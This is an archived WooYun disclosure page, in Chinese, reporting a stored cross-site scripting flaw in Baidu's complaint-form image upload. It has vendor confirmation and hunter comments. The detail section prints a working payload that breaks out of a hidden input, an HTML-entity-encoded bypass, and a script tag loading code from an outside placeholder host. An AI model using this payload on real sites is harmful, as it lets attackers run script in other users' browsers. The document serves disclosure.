当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-014266

漏洞标题：百度投诉某地址存在持久xss漏洞

相关厂商：百度

漏洞作者： piaoye

提交时间：2012-11-03 23:39

修复时间：2012-12-18 23:39

公开时间：2012-12-18 23:39

漏洞类型：xss跨站脚本攻击

危害等级：低

自评Rank：1

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-11-03： 细节已通知厂商并且等待厂商处理中
2012-11-05： 厂商已经确认，细节仅向厂商公开
2012-11-15： 细节向核心白帽子及相关领域专家公开
2012-11-25： 细节向普通白帽子公开
2012-12-05： 细节向实习白帽子公开
2012-12-18： 细节向公众公开

简要描述：

百度投诉某地址存在持久xss漏洞

详细说明：

出现在：http://tousu.baidu.com/fanyi/add#2
上传图片后返回当前表单一个<input type="hidden" id="form1_imageId" name="pic" value="xxxxxxxxx"> xxxxxxxx也就是文件名，
投诉提交成功后发现图片显示代码为

<img src="http://hiphotos.baidu.com/zhidao/pic/item/xxxxxxxxx.jpg" onload="formatPic(this,200,200)">


其中xxxxxxxxx 是图片上传成功后获得的文件名（但不包含 .jpg后缀，可能是防止恶意上传吧）
那么我就在xxxxxxxxx 上下工夫了.
xss代码的插入一般都是前结束后注释，编辑xss代码

" /><script src=http://www.xxx.com/url/test.js></script><img src=1


但这样的话当前表单变成这样：

<input type="hidden" id="form1_imageId" name="pic" value="" /><script src=http://www.xxx.com/url/test.js></script><img src=1">


明显不对了，value成了空值，编码下试试：

&#34;&#32;......116;&#62;&#60;&#105;&#109;&#103;&#32;&#115;&#114;&#99;&#61;&#49;


提交，然后就成功了。

ooooooooooooo.jpg


http://app.baidu.com/app/enter?appid=280383 用这个编码下，直接写到name="pic" value="" 提交即可！

漏洞证明：

QQ截图20121102192047.jpg

修复方案：

自己修复吧，其实这个很多平台都有

版权声明：转载请注明来源 piaoye@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2012-11-05 11:23

厂商回复：

感谢你对百度安全的关注，我们马上安排处理！

最新状态：

暂无

漏洞评价：

评论

  1. 2012-11-04 13:09 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    洞主威武！二十五分之一？

  2. 2012-11-04 14:24 | piaoye ( 普通白帽子 | Rank:343 漏洞数:53 | ww)

    @风萧萧 若按url算的话30个是有的，为方便乌云展示 @xsser 同学给弄成一个发出来

  3. 2012-11-04 15:26 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @piaoye 大侠饶命

  4. 2012-11-04 16:10 | piaoye ( 普通白帽子 | Rank:343 漏洞数:53 | ww)

    @xsser 昨晚本来刷迅雷的呢。。现在算了。哈

  5. 2012-11-05 11:31 | piaoye ( 普通白帽子 | Rank:343 漏洞数:53 | ww)

    @百度 我提交的一大堆怎么算那？